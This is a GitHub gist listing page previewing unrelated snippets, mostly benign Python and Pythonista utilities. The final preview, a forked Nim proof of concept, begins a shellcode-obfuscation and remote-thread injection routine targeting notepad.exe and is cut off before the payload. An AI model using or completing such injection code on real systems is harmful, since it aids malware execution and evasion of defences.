Skip to content

Instantly share code, notes, and snippets.

View Aareon's full-sized avatar
💭
Looking for work!

Aareon Sullivan Aareon

💭
Looking for work!
  • Amazon Ops Tech IT
  • Mississippi
  • 21:35 (UTC -05:00)
View GitHub Profile
@joequery
joequery / gist:3077833
Created July 9, 2012 17:43
Converting a simple website to Python Flask (backup gist!)

Flask is a Python web framework that's steadily increasing in popularity within the webdev world. After reading so many great things about Flask, I decided to try it out myself. I personally find testing out a new framework difficult, because you must find a project complex enough to reveal the framework's quirks, but not so daunting as to take the fun out of the project. Luckily, my PHP/Wordpress powered website filled this role quite nicely - the website simply consists of static content, a contact page, and a blog. If I could not convert such a simple site over to Flask, I would immediately know that Flask and I would not make a good team.

@steventroughtonsmith
steventroughtonsmith / Foundation.py
Last active November 15, 2023 23:48
UIKit+UIFoundation & Foundation for Pythonista - autoconverted from SDK tbd (includes non-public SPI)
# coding: utf-8
from objc_util import *
NSAKDeserializer = ObjCClass('NSAKDeserializer')
NSAKDeserializerStream = ObjCClass('NSAKDeserializerStream')
NSAKSerializer = ObjCClass('NSAKSerializer')
NSAKSerializerStream = ObjCClass('NSAKSerializerStream')
NSAbstractLayoutGuide = ObjCClass('NSAbstractLayoutGuide')
NSAddressCheckingResult = ObjCClass('NSAddressCheckingResult')
NSAffineTransform = ObjCClass('NSAffineTransform')
#include <Windows.h>
#include "../../API/RainmeterAPI.h"
struct ACCENTPOLICY {
int nAccentState;
int nFlags;
int nColor;
int nAnimationId;
};
struct WINCOMPATTRDATA {
@Aareon
Aareon / download-icons.py
Last active January 10, 2017 09:03
Downloads Endless Frontier Discord Server icons, displays progress, saves them to ./icons
import os,requests
icons = requests.get('http://pastebin.com/raw/b5fdkNp9').content.splitlines()
if not os.path.exists('./icons'):
print("Creating ./icons")
os.mkdir('./icons')
for i, icon in enumerate(icons):
##print('{0}\r'.format("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images")), ##Python 2.7
##print("Downloaded: "+str(i+1)+"/"+str(len(icons))+" images", end="\r"), ##Python 3.x
img_data = requests.get(icons[i]).content
with open("./icons/icon"+str(i)+".png", 'wb') as handler:
@nneonneo
nneonneo / youtube-dl.py
Last active April 2, 2024 04:57
YouTube-DL for Pythonista - download YouTube videos on your iPhone/iPad!
#!python3
'''
Directions:
- install yt-dlp via Pip (e.g. using (StaSh)[https://github.com/ywangd/stash] - `pip install yt-dlp`)
- add this script as a Share extension through Settings -> Share Extension Shortcuts
- while watching a video in the YouTube site or app, just share the video to Pythonista and select this script
- the video will download, and when it's done you can share the video file itself with any app (e.g. VLC)
Advanced usage:
@Aareon
Aareon / CopyWebPageText.py
Created May 22, 2021 22:21
Extension for Pythonista
# import 'pythonista'
# -*- coding: utf-8 -*-
"""Copy WebPage Text
A Pythonista script that works from the sharesheet or the clipboard to copy the text from a webpage to the clipboard. If you have copy a URL and run this script, it will open the URL from your clipboard.
"""
import os
import re
import sys
import appex
@pawnmuncher
pawnmuncher / nimterpreter.nim
Created October 2, 2021 14:47 — forked from mttaggart/nimterpreter.nim
A simple PoC for obfuscating shellcode in Nim
# With special thanks to byt3bl33d3r for Offensive Nim!
import winim/lean
import osproc
import base64
import sequtils
import strutils
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
let tProcess = startProcess("notepad.exe")